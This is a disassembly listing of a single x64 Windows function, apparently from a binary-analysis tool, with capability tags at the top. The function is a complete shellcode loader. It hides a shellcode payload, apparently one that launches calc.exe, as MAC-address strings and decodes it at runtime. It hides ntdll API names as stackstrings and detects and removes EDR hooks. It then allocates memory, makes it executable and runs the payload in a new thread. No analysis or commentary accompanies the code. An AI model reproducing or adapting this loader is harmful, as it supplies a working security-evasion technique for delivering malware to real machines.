Function at 0x14001128f
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
jmp 0x140012370
push rbp
push rdi
sub rsp, 0x788
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x13a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x718], rax
lea rcx, [0x1400250a4]
call fcn.14001139d
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0x2000
lea rax, str.FC_48_83_E4_F0_E8
mov qword [rbp + 0x50], rax
lea rax, str.C0_00_00_00_41_51
mov qword [rbp + 0x58], rax
lea rax, str.41_50_52_51_56_48
mov qword [rbp + 0x60], rax
lea rax, str.31_D2_65_48_8B_52
mov qword [rbp + 0x68], rax
lea rax, str.60_48_8B_52_18_48
mov qword [rbp + 0x70], rax
lea rax, str.8B_52_20_48_8B_72
mov qword [rbp + 0x78], rax
lea rax, str.50_48_0F_B7_4A_4A
mov qword [rbp + 0x80], rax
lea rax, str.4D_31_C9_48_31_C0
mov qword [rbp + 0x88], rax
lea rax, str.AC_3C_61_7C_02_2C
mov qword [rbp + 0x90], rax
lea rax, str.20_41_C1_C9_0D_41
mov qword [rbp + 0x98], rax
lea rax, str.01_C1_E2_ED_52_41
mov qword [rbp + 0xa0], rax
lea rax, str.51_48_8B_52_20_8B
mov qword [rbp + 0xa8], rax
lea rax, str.42_3C_48_01_D0_8B
mov qword [rbp + 0xb0], rax
lea rax, str.80_88_00_00_00_48
mov qword [rbp + 0xb8], rax
lea rax, str.85_C0_74_67_48_01
mov qword [rbp + 0xc0], rax
lea rax, str.D0_50_8B_48_18_44
mov qword [rbp + 0xc8], rax
lea rax, str.8B_40_20_49_01_D0
mov qword [rbp + 0xd0], rax
lea rax, str.E3_56_48_FF_C9_41
mov qword [rbp + 0xd8], rax
lea rax, str.8B_34_88_48_01_D6
mov qword [rbp + 0xe0], rax
lea rax, str.4D_31_C9_48_31_C0
mov qword [rbp + 0xe8], rax
lea rax, str.AC_41_C1_C9_0D_41
mov qword [rbp + 0xf0], rax
lea rax, str.01_C1_38_E0_75_F1
mov qword [rbp + 0xf8], rax
lea rax, str.4C_03_4C_24_08_45
mov qword [rbp + 0x100], rax
lea rax, str.39_D1_75_D8_58_44
mov qword [rbp + 0x108], rax
lea rax, str.8B_40_24_49_01_D0
mov qword [rbp + 0x110], rax
lea rax, str.66_41_8B_0C_48_44
mov qword [rbp + 0x118], rax
lea rax, str.8B_40_1C_49_01_D0
mov qword [rbp + 0x120], rax
lea rax, str.41_8B_04_88_48_01
mov qword [rbp + 0x128], rax
lea rax, str.D0_41_58_41_58_5E
mov qword [rbp + 0x130], rax
lea rax, str.59_5A_41_58_41_59
mov qword [rbp + 0x138], rax
lea rax, str.41_5A_48_83_EC_20
mov qword [rbp + 0x140], rax
lea rax, str.41_52_FF_E0_58_41
mov qword [rbp + 0x148], rax
lea rax, str.59_5A_48_8B_12_E9
mov qword [rbp + 0x150], rax
lea rax, str.57_FF_FF_FF_5D_48
mov qword [rbp + 0x158], rax
lea rax, str.BA_01_00_00_00_00
mov qword [rbp + 0x160], rax
lea rax, str.00_00_00_48_8D_8D
mov qword [rbp + 0x168], rax
lea rax, str.01_01_00_00_41_BA
mov qword [rbp + 0x170], rax
lea rax, str.31_8B_6F_87_FF_D5
mov qword [rbp + 0x178], rax
lea rax, str.BB_E0_1D_2A_0A_41
mov qword [rbp + 0x180], rax
lea rax, str.BA_A6_95_BD_9D_FF
mov qword [rbp + 0x188], rax
lea rax, str.D5_48_83_C4_28_3C
mov qword [rbp + 0x190], rax
lea rax, str.06_7C_0A_80_FB_E0
mov qword [rbp + 0x198], rax
lea rax, str.75_05_BB_47_13_72
mov qword [rbp + 0x1a0], rax
lea rax, str.6F_6A_00_59_41_89
mov qword [rbp + 0x1a8], rax
lea rax, str.DA_FF_D5_63_61_6C
mov qword [rbp + 0x1b0], rax
lea rax, str.63_2E_65_78_65_00
mov qword [rbp + 0x1b8], rax
mov byte [rbp + 0x1d8], 0x6e
mov byte [rbp + 0x1d9], 0x74
mov byte [rbp + 0x1da], 0x64
mov byte [rbp + 0x1db], 0x6c
mov byte [rbp + 0x1dc], 0x6c
mov byte [rbp + 0x1dd], 0x2e
mov byte [rbp + 0x1de], 0x64
mov byte [rbp + 0x1df], 0x6c
mov byte [rbp + 0x1e0], 0x6c
mov byte [rbp + 0x1e1], 0
mov byte [rbp + 0x208], 0x4e
mov byte [rbp + 0x209], 0x74
mov byte [rbp + 0x20a], 0x41
mov byte [rbp + 0x20b], 0x6c
mov byte [rbp + 0x20c], 0x6c
mov byte [rbp + 0x20d], 0x6f
mov byte [rbp + 0x20e], 0x63
mov byte [rbp + 0x20f], 0x61
mov byte [rbp + 0x210], 0x74
mov byte [rbp + 0x211], 0x65
mov byte [rbp + 0x212], 0x56
mov byte [rbp + 0x213], 0x69
mov byte [rbp + 0x214], 0x72
mov byte [rbp + 0x215], 0x74
mov byte [rbp + 0x216], 0x75
mov byte [rbp + 0x217], 0x61
mov byte [rbp + 0x218], 0x6c
mov byte [rbp + 0x219], 0x4d
mov byte [rbp + 0x21a], 0x65
mov byte [rbp + 0x21b], 0x6d
mov byte [rbp + 0x21c], 0x6f
mov byte [rbp + 0x21d], 0x72
mov byte [rbp + 0x21e], 0x79
mov byte [rbp + 0x21f], 0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x208]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x238], rax
mov rcx, qword [rbp + 0x238]
call fcn.140011172
test eax, eax
je 0x140012787
lea rcx, str.____NtAllocateVirtualMemory_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x238]
call fcn.1400110af
test eax, eax
jne 0x140012779
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x140012793
lea rcx, str.___NtAllocateVirtualMemory_Not_Hooked_n
call fcn.1400111ae
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x28]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.1400113ed
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jge 0x1400127e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtAllocateVirtualMemory___u__n
call fcn.1400111ae
mov eax, 1
jmp 0x140012cd3
mov dword [rbp + 0x274], 0x2e
mov qword [rbp + 0x298], 0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x2f4], 0
jmp 0x140012821
mov eax, dword [rbp + 0x2f4]
inc eax
mov dword [rbp + 0x2f4], eax
mov eax, dword [rbp + 0x274]
cmp dword [rbp + 0x2f4], eax
jge 0x140012879
movsxd rax, dword [rbp + 0x2f4]
mov r8, qword [rbp + 0x2d8]
lea rdx, [rbp + 0x298]
mov rcx, qword [rbp + rax*8 + 0x50]
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
mov dword [rbp + 0x2b4], eax
cmp dword [rbp + 0x2b4], 0
jge 0x140012865
xor eax, eax
jmp 0x140012cd3
mov rax, qword [rbp + 0x2d8]
add rax, 6
mov qword [rbp + 0x2d8], rax
jmp 0x140012813
mov dword [rbp + 0x334], 0
mov byte [rbp + 0x358], 0x4e
mov byte [rbp + 0x359], 0x74
mov byte [rbp + 0x35a], 0x50
mov byte [rbp + 0x35b], 0x72
mov byte [rbp + 0x35c], 0x6f
mov byte [rbp + 0x35d], 0x74
mov byte [rbp + 0x35e], 0x65
mov byte [rbp + 0x35f], 0x63
mov byte [rbp + 0x360], 0x74
mov byte [rbp + 0x361], 0x56
mov byte [rbp + 0x362], 0x69
mov byte [rbp + 0x363], 0x72
mov byte [rbp + 0x364], 0x74
mov byte [rbp + 0x365], 0x75
mov byte [rbp + 0x366], 0x61
mov byte [rbp + 0x367], 0x6c
mov byte [rbp + 0x368], 0x4d
mov byte [rbp + 0x369], 0x65
mov byte [rbp + 0x36a], 0x6d
mov byte [rbp + 0x36b], 0x6f
mov byte [rbp + 0x36c], 0x72
mov byte [rbp + 0x36d], 0x79
mov byte [rbp + 0x36e], 0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x358]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x388], rax
mov rcx, qword [rbp + 0x388]
call fcn.140011172
test eax, eax
je 0x14001298e
lea rcx, str.____NtProtectVirtualMemory_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x388]
call fcn.1400110af
test eax, eax
jne 0x140012980
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x14001299a
lea rcx, str.___NtProtectVirtualMemory_Not_Hooked_n
call fcn.1400111ae
lea rax, [rbp + 0x334]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x28]
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.1400110d2
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jge 0x1400129ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory1___u__n
call fcn.1400111ae
mov eax, 2
jmp 0x140012cd3
mov qword [rbp + 0x3c8], 0xffffffffffffffff
mov byte [rbp + 0x3e8], 0x4e
mov byte [rbp + 0x3e9], 0x74
mov byte [rbp + 0x3ea], 0x43
mov byte [rbp + 0x3eb], 0x72
mov byte [rbp + 0x3ec], 0x65
mov byte [rbp + 0x3ed], 0x61
mov byte [rbp + 0x3ee], 0x74
mov byte [rbp + 0x3ef], 0x65
mov byte [rbp + 0x3f0], 0x54
mov byte [rbp + 0x3f1], 0x68
mov byte [rbp + 0x3f2], 0x72
mov byte [rbp + 0x3f3], 0x65
mov byte [rbp + 0x3f4], 0x61
mov byte [rbp + 0x3f5], 0x64
mov byte [rbp + 0x3f6], 0x45
mov byte [rbp + 0x3f7], 0x78
mov byte [rbp + 0x3f8], 0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x3e8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x418], rax
mov rcx, qword [rbp + 0x418]
call fcn.140011172
test eax, eax
je 0x140012ad9
lea rcx, str.____NtCreateThreadEx_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x418]
call fcn.1400110af
test eax, eax
jne 0x140012acb
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x140012ae5
lea rcx, str.___NtCreateThreadEx_Not_Hooked_n
call fcn.1400111ae
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x3c8]
call fcn.1400111f9
mov dword [rbp + 0x434], eax
cmp dword [rbp + 0x434], 0
jge 0x140012b6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.1400111ae
mov eax, 3
jmp 0x140012cd3
mov qword [rbp + 0x458], 0xffffffffff676980
mov byte [rbp + 0x478], 0x4e
mov byte [rbp + 0x479], 0x74
mov byte [rbp + 0x47a], 0x57
mov byte [rbp + 0x47b], 0x61
mov byte [rbp + 0x47c], 0x69
mov byte [rbp + 0x47d], 0x74
mov byte [rbp + 0x47e], 0x46
mov byte [rbp + 0x47f], 0x6f
mov byte [rbp + 0x480], 0x72
mov byte [rbp + 0x481], 0x53
mov byte [rbp + 0x482], 0x69
mov byte [rbp + 0x483], 0x6e
mov byte [rbp + 0x484], 0x67
mov byte [rbp + 0x485], 0x6c
mov byte [rbp + 0x486], 0x65
mov byte [rbp + 0x487], 0x4f
mov byte [rbp + 0x488], 0x62
mov byte [rbp + 0x489], 0x6a
mov byte [rbp + 0x48a], 0x65
mov byte [rbp + 0x48b], 0x63
mov byte [rbp + 0x48c], 0x74
mov byte [rbp + 0x48d], 0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x478]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x4a8], rax
mov rcx, qword [rbp + 0x4a8]
call fcn.140011172
test eax, eax
je 0x140012c7a
lea rcx, str.____NtWaitForSingleObject_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x4a8]
call fcn.1400110af
test eax, eax
jne 0x140012c6c
lea rcx, str.Failed_in_Unhooking_NtWaitForSingleObject_n
call fcn.1400111ae
lea rcx, str._t___NtWaitForSingleObject_UnHooked_n
call fcn.1400111ae
jmp 0x140012c86
lea rcx, str.___NtWaitForSingleObject_Not_Hooked_n
call fcn.1400111ae
lea r8, [rbp + 0x458]
xor edx, edx
mov rcx, qword [rbp + 0x3c8]
call fcn.1400113cf
mov dword [rbp + 0x4c4], eax
cmp dword [rbp + 0x4c4], 0
jge 0x140012cc5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.1400111ae
mov eax, 4
jmp 0x140012cd3
lea rcx, str.___Finished______n
call fcn.1400111ae
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001c120]
call fcn.140011334
mov rax, rdi
mov rcx, qword [rbp + 0x718]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret